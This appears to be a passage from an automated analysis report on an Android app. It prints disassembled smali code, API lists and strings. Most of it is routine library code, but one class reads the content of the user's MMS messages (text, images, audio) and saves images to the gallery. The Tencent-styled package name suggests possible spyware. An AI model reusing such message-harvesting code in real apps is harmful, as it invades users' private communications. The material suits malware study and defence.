                                                826iget-object v0, v7, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                828iget-object v0, v0, Lcom/alibaba/fastjson/util/JavaBeanInfo;->factoryMethod:Ljava/lang/reflect/Method;
                                                829try_end_494: if-eqz v0, :cond_4c0
                                                830try_start_496:
                                                831iget-object v0, v7, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                833iget-object v0, v0, Lcom/alibaba/fastjson/util/JavaBeanInfo;->factoryMethod:Ljava/lang/reflect/Method;
                                                834const/4 v1, 0x0
                                                836invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                837move-result-object v0
                                                838try_end_49f: goto/16 :goto_46e
                                                839catch_4a0: move-exception v0
                                                840try_start_4a1: new-instance v1, Lcom/alibaba/fastjson/JSONException;
                                                841new-instance v2, Ljava/lang/StringBuilder;
                                                843invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                845const-string v3, "create factory method error, "
                                                847invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                849iget-object v3, v7, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                851iget-object v3, v3, Lcom/alibaba/fastjson/util/JavaBeanInfo;->factoryMethod:Ljava/lang/reflect/Method;
                                                853invoke-virtual {v3}, Ljava/lang/reflect/Method;->toString()Ljava/lang/String;
                                                854move-result-object v3
                                                856invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                858invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                859move-result-object v2
                                                861invoke-direct {v1, v2, v0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                862throw v1
                                                863cond_4c0:
                                                864iget-object v0, v7, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                866iget-object v0, v0, Lcom/alibaba/fastjson/util/JavaBeanInfo;->buildMethod:Ljava/lang/reflect/Method;
                                                867try_end_4c4: if-nez v0, :cond_4ce
                                                868if-eqz v12, :cond_4ca
                                                869iput-object v14, v12, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                870cond_4ca:
                                                871invoke-virtual {v8, v13}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                872return-object v14
                                                873cond_4ce: const/4 v4, 0x0
                                                874try_start_4cf: new-array v1, v4, [Ljava/lang/Object;
                                                876invoke-virtual {v0, v14, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                877move-result-object v0
                                                878try_end_4d5: if-eqz v12, :cond_4d9
                                                879iput-object v14, v12, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                880cond_4d9:
                                                881invoke-virtual {v8, v13}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                882return-object v0
                                                883catch_4dd: move-exception v0
                                                884try_start_4de: new-instance v1, Lcom/alibaba/fastjson/JSONException;
                                                886const-string v2, "build object error"
                                                888invoke-direct {v1, v2, v0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                889throw v1
                                                890catchall_4e6: move-exception v0
                                                891move-object v2, v12
                                                892move-object v1, v14
                                                893goto/16 :goto_53c
                                                894cond_4ea: const/4 v1, 0x0
                                                895const/4 v4, 0x0
                                                896try_start_4ec:
                                                897invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->token()I
                                                898move-result v5
                                                899const/16 v6, 0x12
                                                900if-eq v5, v6, :cond_509
                                                902invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->token()I
                                                903move-result v5
                                                904if-eq v5, v12, :cond_509
                                                905goto_4fa: add-int/lit8 v5, v15, 0x1
                                                906move v4, v5
                                                907move-object v3, v11
                                                908move-object v1, v14
                                                909move-object/from16 v2, v16
                                                910const/4 v5, 0x4
                                                911const/16 v11, 0x10
                                                912const/16 v14, 0xd
                                                913const/4 v15, 0x0
                                                914goto/16 :goto_ec
                                                915cond_509: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                916new-instance v1, Ljava/lang/StringBuilder;
                                                918invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                920const-string v2, "syntax error, unexpect token "
                                                922invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                924invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->token()I
                                                925move-result v2
                                                927invoke-static {v2}, Lcom/alibaba/fastjson/parser/JSONToken;->name(I)Ljava/lang/String;
                                                928move-result-object v2
                                                930invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                932invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                933move-result-object v1
                                                935invoke-direct {v0, v1}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                936throw v0
                                                937cond_528: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                939const-string v1, "syntax error, unexpect token \':\'"
                                                941invoke-direct {v0, v1}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                942throw v0
                                                943catchall_530: move-exception v0
                                                944move-object v1, v14
                                                945move-object/from16 v2, v16
                                                946goto/16 :goto_53c
                                                947catchall_535: move-exception v0
                                                948goto/16 :goto_53c
                                                949catchall_537: move-exception v0
                                                950move-object v1, v12
                                                951move-object v2, v1
                                                952move-object/from16 v1, p4
                                                953goto_53c: if-eqz v2, :cond_540
                                                954iput-object v1, v2, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                955cond_540:
                                                956invoke-virtual {v8, v13}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                957throw v0
                                                958cond_544:
                                                959invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->parse()Ljava/lang/Object;
                                                960move-result-object v0
                                                961return-object v0
                                                Cross References
                                                APIs
                                                • android.content.Context.getFilesDir
                                                • java.io.File.<init>
                                                • java.io.File.isDirectory
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.i
                                                • java.io.File.listFiles
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.w
                                                • java.io.File.delete
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.w
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.io.File.length
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.i
                                                • java.io.File.delete
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.w
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.i
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.i
                                                Strings
                                                • secondary-dexes
                                                • MultiDex
                                                • Clearing old secondary dex dir (
                                                • ).
                                                • Failed to list secondary dex dir content (
                                                • Failed to delete secondary dex dir
                                                • Trying to delete old file
                                                • of size
                                                • Failed to delete old file
                                                • Deleted old file
                                                • Deleted old secondary dex dir
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Landroid/content/Context;",
                                                4")V^",
                                                5"Ljava/lang/Exception;"
                                                6}
                                                7.end annotation
                                                8.annotation system Ldalvik/annotation/Throws;
                                                9value = {
                                                10Ljava/lang/Exception;
                                                11}
                                                12.end annotation
                                                13.prologue
                                                14move-object v0, p0
                                                15new-instance v8, Ljava/io/File;
                                                16move-object v13, v8
                                                17move-object v8, v13
                                                18move-object v9, v13
                                                19move-object v10, v0
                                                21invoke-virtual {v10}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
                                                22move-result-object v10
                                                24const-string v11, "secondary-dexes"
                                                26invoke-direct {v9, v10, v11}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                                                27move-object v2, v8
                                                28move-object v8, v2
                                                30invoke-virtual {v8}, Ljava/io/File;->isDirectory()Z
                                                31move-result v8
                                                32if-eqz v8, :cond_c1
                                                34const-string v8, "MultiDex"
                                                35new-instance v9, Ljava/lang/StringBuffer;
                                                36move-object v13, v9
                                                37move-object v9, v13
                                                38move-object v10, v13
                                                40invoke-direct {v10}, Ljava/lang/StringBuffer;-><init>()V
                                                41new-instance v10, Ljava/lang/StringBuffer;
                                                42move-object v13, v10
                                                43move-object v10, v13
                                                44move-object v11, v13
                                                46invoke-direct {v11}, Ljava/lang/StringBuffer;-><init>()V
                                                48const-string v11, "Clearing old secondary dex dir ("
                                                50invoke-virtual {v10, v11}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                51move-result-object v10
                                                52move-object v11, v2
                                                54invoke-virtual {v11}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                55move-result-object v11
                                                57invoke-virtual {v10, v11}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                58move-result-object v10
                                                60invoke-virtual {v10}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                61move-result-object v10
                                                63invoke-virtual {v9, v10}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                64move-result-object v9
                                                66const-string v10, ")."
                                                68invoke-virtual {v9, v10}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                69move-result-object v9
                                                71invoke-virtual {v9}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                72move-result-object v9
                                                74invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                75move-result v8
                                                76move-object v8, v2
                                                78invoke-virtual {v8}, Ljava/io/File;->listFiles()[Ljava/io/File;
                                                79move-result-object v8
                                                80move-object v3, v8
                                                81move-object v8, v3
                                                82if-nez v8, :cond_90
                                                84const-string v8, "MultiDex"
                                                85new-instance v9, Ljava/lang/StringBuffer;
                                                86move-object v13, v9
                                                87move-object v9, v13
                                                88move-object v10, v13
                                                90invoke-direct {v10}, Ljava/lang/StringBuffer;-><init>()V
                                                91new-instance v10, Ljava/lang/StringBuffer;
                                                92move-object v13, v10
                                                93move-object v10, v13
                                                94move-object v11, v13
                                                96invoke-direct {v11}, Ljava/lang/StringBuffer;-><init>()V
                                                98const-string v11, "Failed to list secondary dex dir content ("
                                                100invoke-virtual {v10, v11}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                101move-result-object v10
                                                102move-object v11, v2
                                                104invoke-virtual {v11}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                105move-result-object v11
                                                107invoke-virtual {v10, v11}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                108move-result-object v10
                                                110invoke-virtual {v10}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                111move-result-object v10
                                                113invoke-virtual {v9, v10}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                114move-result-object v9
                                                116const-string v10, ")."
                                                118invoke-virtual {v9, v10}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                119move-result-object v9
                                                121invoke-virtual {v9}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                122move-result-object v9
                                                124invoke-static {v8, v9}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                                125move-result v8
                                                126goto_8f: return-void
                                                127cond_90: move-object v8, v3
                                                128move-object v4, v8
                                                129const/4 v8, 0x0
                                                130move v5, v8
                                                131goto_94: move v8, v5
                                                132move-object v9, v4
                                                133array-length v9, v9
                                                134if-lt v8, v9, :cond_c2
                                                135move-object v8, v2
                                                137invoke-virtual {v8}, Ljava/io/File;->delete()Z
                                                138move-result v8
                                                139if-nez v8, :cond_165
                                                141const-string v8, "MultiDex"
                                                142new-instance v9, Ljava/lang/StringBuffer;
                                                143move-object v13, v9
                                                144move-object v9, v13
                                                145move-object v10, v13
                                                147invoke-direct {v10}, Ljava/lang/StringBuffer;-><init>()V
                                                149const-string v10, "Failed to delete secondary dex dir "
                                                151invoke-virtual {v9, v10}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                152move-result-object v9
                                                153move-object v10, v2
                                                155invoke-virtual {v10}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                156move-result-object v10
                                                158invoke-virtual {v9, v10}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                159move-result-object v9
                                                161invoke-virtual {v9}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                162move-result-object v9
                                                164invoke-static {v8, v9}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                                165move-result v8
                                                166goto_c1: goto/16 :goto_8f
                                                167cond_c2: move-object v8, v4
                                                168move v9, v5
                                                169aget-object v8, v8, v9
                                                170move-object v6, v8
                                                172const-string v8, "MultiDex"
                                                173new-instance v9, Ljava/lang/StringBuffer;
                                                174move-object v13, v9
                                                175move-object v9, v13
                                                176move-object v10, v13
                                                178invoke-direct {v10}, Ljava/lang/StringBuffer;-><init>()V
                                                179new-instance v10, Ljava/lang/StringBuffer;
                                                180move-object v13, v10
                                                181move-object v10, v13
                                                182move-object v11, v13
                                                184invoke-direct {v11}, Ljava/lang/StringBuffer;-><init>()V
                                                185new-instance v11, Ljava/lang/StringBuffer;
                                                186move-object v13, v11
                                                187move-object v11, v13
                                                188move-object v12, v13
                                                190invoke-direct {v12}, Ljava/lang/StringBuffer;-><init>()V
                                                192const-string v12, "Trying to delete old file "
                                                194invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                195move-result-object v11
                                                196move-object v12, v6
                                                198invoke-virtual {v12}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                199move-result-object v12
                                                201invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                202move-result-object v11
                                                204invoke-virtual {v11}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                205move-result-object v11
                                                207invoke-virtual {v10, v11}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                208move-result-object v10
                                                210const-string v11, " of size "
                                                212invoke-virtual {v10, v11}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                213move-result-object v10
                                                215invoke-virtual {v10}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                216move-result-object v10
                                                218invoke-virtual {v9, v10}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                219move-result-object v9
                                                220move-object v10, v6
                                                222invoke-virtual {v10}, Ljava/io/File;->length()J
                                                223move-result-wide v10
                                                225invoke-virtual {v9, v10, v11}, Ljava/lang/StringBuffer;->append(J)Ljava/lang/StringBuffer;
                                                226move-result-object v9
                                                228invoke-virtual {v9}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                229move-result-object v9
                                                231invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                232move-result v8
                                                233move-object v8, v6
                                                235invoke-virtual {v8}, Ljava/io/File;->delete()Z
                                                236move-result v8
                                                237if-nez v8, :cond_143
                                                239const-string v8, "MultiDex"
                                                240new-instance v9, Ljava/lang/StringBuffer;
                                                241move-object v13, v9
                                                242move-object v9, v13
                                                243move-object v10, v13
                                                245invoke-direct {v10}, Ljava/lang/StringBuffer;-><init>()V
                                                247const-string v10, "Failed to delete old file "
                                                249invoke-virtual {v9, v10}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                250move-result-object v9
                                                251move-object v10, v6
                                                253invoke-virtual {v10}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                254move-result-object v10
                                                256invoke-virtual {v9, v10}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                257move-result-object v9
                                                259invoke-virtual {v9}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                260move-result-object v9
                                                262invoke-static {v8, v9}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                                263move-result v8
                                                264goto_13f: add-int/lit8 v5, v5, 0x1
                                                265goto/16 :goto_94
                                                266cond_143:
                                                267const-string v8, "MultiDex"
                                                268new-instance v9, Ljava/lang/StringBuffer;
                                                269move-object v13, v9
                                                270move-object v9, v13
                                                271move-object v10, v13
                                                273invoke-direct {v10}, Ljava/lang/StringBuffer;-><init>()V
                                                275const-string v10, "Deleted old file "
                                                277invoke-virtual {v9, v10}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                278move-result-object v9
                                                279move-object v10, v6
                                                281invoke-virtual {v10}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                282move-result-object v10
                                                284invoke-virtual {v9, v10}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                285move-result-object v9
                                                287invoke-virtual {v9}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                288move-result-object v9
                                                290invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                291move-result v8
                                                292goto/16 :goto_13f
                                                293cond_165:
                                                294const-string v8, "MultiDex"
                                                295new-instance v9, Ljava/lang/StringBuffer;
                                                296move-object v13, v9
                                                297move-object v9, v13
                                                298move-object v10, v13
                                                300invoke-direct {v10}, Ljava/lang/StringBuffer;-><init>()V
                                                302const-string v10, "Deleted old secondary dex dir "
                                                304invoke-virtual {v9, v10}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                305move-result-object v9
                                                306move-object v10, v2
                                                308invoke-virtual {v10}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                309move-result-object v10
                                                311invoke-virtual {v9, v10}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                312move-result-object v9
                                                314invoke-virtual {v9}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                315move-result-object v9
                                                317invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                318move-result v8
                                                319goto/16 :goto_c1
                                                Cross References
                                                APIs
                                                • com.tencent.shopcj.utils.MmsDatabaseChangeObserver.resolver:Landroid/content/ContentResolver
                                                • android.net.Uri.parse
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.content.ContentResolver.query
                                                • android.database.Cursor.getCount
                                                • android.database.Cursor.moveToLast
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getString
                                                • java.lang.String.equals
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getString
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getInt
                                                • com.tencent.shopcj.utils.MmsDatabaseChangeObserver.getMmsText
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getString
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getString
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getInt
                                                • com.tencent.shopcj.utils.MmsDatabaseChangeObserver.getMmsImage
                                                • com.tencent.shopcj.utils.MmsDatabaseChangeObserver.path:Ljava/lang/String
                                                • java.lang.String.equals
                                                • com.tencent.shopcj.utils.MmsDatabaseChangeObserver.getPicFromBytes
                                                • com.tencent.shopcj.utils.MmsDatabaseChangeObserver.saveImageToGallery
                                                • java.lang.String.equals
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getString
                                                • android.text.TextUtils.isEmpty
                                                • java.lang.StringBuilder.<init>
                                                • android.os.Environment.getExternalStorageDirectory
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getString
                                                • android.database.Cursor.close
                                                Strings
                                                • content://mms/part
                                                • mid=
                                                • ct
                                                • text/plain
                                                • _id
                                                • text
                                                • _data
                                                • image/jpeg
                                                • image/bmp
                                                • image/gif
                                                • image/png
                                                • image/jpg
                                                • audio/amr
                                                • fn
                                                • /Recordings/
                                                Position Instruction Meta Information
                                                1iget-object v0, p0, Lcom/tencent/shopcj/utils/MmsDatabaseChangeObserver;->resolver:Landroid/content/ContentResolver;
                                                3const-string v1, "content://mms/part"
                                                5invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                                6move-result-object v1
                                                7new-instance v2, Ljava/lang/StringBuilder;
                                                9invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                11const-string v3, "mid="
                                                13invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                15invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                17invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                18move-result-object v3
                                                19const/4 v2, 0x0
                                                20const/4 v4, 0x0
                                                21const/4 v5, 0x0
                                                23invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                                                24move-result-object p1
                                                25const/4 v0, 0x0
                                                26if-eqz p1, :cond_109
                                                28invoke-interface {p1}, Landroid/database/Cursor;->getCount()I
                                                29move-result v1
                                                30if-lez v1, :cond_109
                                                32invoke-interface {p1}, Landroid/database/Cursor;->moveToLast()Z
                                                34const-string v1, "ct"
                                                36invoke-interface {p1, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                37move-result v1
                                                39invoke-interface {p1, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                                40move-result-object v1
                                                42const-string v2, "text/plain"
                                                44invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                45move-result v2
                                                47const-string v3, "_id"
                                                49const-string v4, "text"
                                                51const-string v5, "_data"
                                                52if-eqz v2, :cond_66
                                                54invoke-interface {p1, v5}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                55move-result v0
                                                57invoke-interface {p1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                                58move-result-object v0
                                                59if-eqz v0, :cond_5c
                                                61invoke-interface {p1, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                62move-result v0
                                                64invoke-interface {p1, v0}, Landroid/database/Cursor;->getInt(I)I
                                                65move-result v0
                                                67invoke-direct {p0, v0}, Lcom/tencent/shopcj/utils/MmsDatabaseChangeObserver;->getMmsText(I)Ljava/lang/String;
                                                68move-result-object v0
                                                69goto/16 :goto_106
                                                70cond_5c:
                                                71invoke-interface {p1, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                72move-result v0
                                                74invoke-interface {p1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                                75move-result-object v0
                                                76goto/16 :goto_106
                                                77cond_66:
                                                78const-string v2, "image/jpeg"
                                                80invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                81move-result v2
                                                82if-nez v2, :cond_91
                                                84const-string v2, "image/bmp"
                                                86invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                87move-result v2
                                                88if-nez v2, :cond_91
                                                90const-string v2, "image/gif"
                                                92invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                93move-result v2
                                                94if-nez v2, :cond_91
                                                96const-string v2, "image/png"
                                                98invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                99move-result v2
                                                100if-nez v2, :cond_91
                                                102const-string v2, "image/jpg"
                                                104invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                105move-result v2
                                                106if-eqz v2, :cond_8f
                                                107goto/16 :goto_91
                                                108cond_8f: const/4 v2, 0x0
                                                109goto/16 :goto_92
                                                110cond_91: const/4 v2, 0x1
                                                111goto_92: if-eqz v2, :cond_c1
                                                113invoke-interface {p1, v5}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                114move-result v1
                                                116invoke-interface {p1, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                                117move-result-object v1
                                                118if-eqz v1, :cond_106
                                                120invoke-interface {p1, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                121move-result v0
                                                123invoke-interface {p1, v0}, Landroid/database/Cursor;->getInt(I)I
                                                124move-result v0
                                                126invoke-direct {p0, v0}, Lcom/tencent/shopcj/utils/MmsDatabaseChangeObserver;->getMmsImage(I)[B
                                                127move-result-object v0
                                                129iget-object v2, p0, Lcom/tencent/shopcj/utils/MmsDatabaseChangeObserver;->path:Ljava/lang/String;
                                                131invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                132move-result v2
                                                133if-nez v2, :cond_106
                                                134move-object v2, v0
                                                135check-cast v2, [B
                                                136check-cast v2, [B
                                                138invoke-static {v2}, Lcom/tencent/shopcj/utils/MmsDatabaseChangeObserver;->getPicFromBytes([B)Landroid/graphics/Bitmap;
                                                139move-result-object v2
                                                141invoke-virtual {p0, v2}, Lcom/tencent/shopcj/utils/MmsDatabaseChangeObserver;->saveImageToGallery(Landroid/graphics/Bitmap;)V
                                                142iput-object v1, p0, Lcom/tencent/shopcj/utils/MmsDatabaseChangeObserver;->path:Ljava/lang/String;
                                                143goto/16 :goto_106
                                                144cond_c1:
                                                145const-string v2, "audio/amr"
                                                147invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                148move-result v1
                                                149if-eqz v1, :cond_fe
                                                151const-string v1, "fn"
                                                153invoke-interface {p1, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                154move-result v1
                                                156invoke-interface {p1, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                                157move-result-object v1
                                                159invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                160move-result v2
                                                161if-nez v2, :cond_106
                                                162new-instance v0, Ljava/lang/StringBuilder;
                                                164invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                166invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                                                167move-result-object v2
                                                169invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
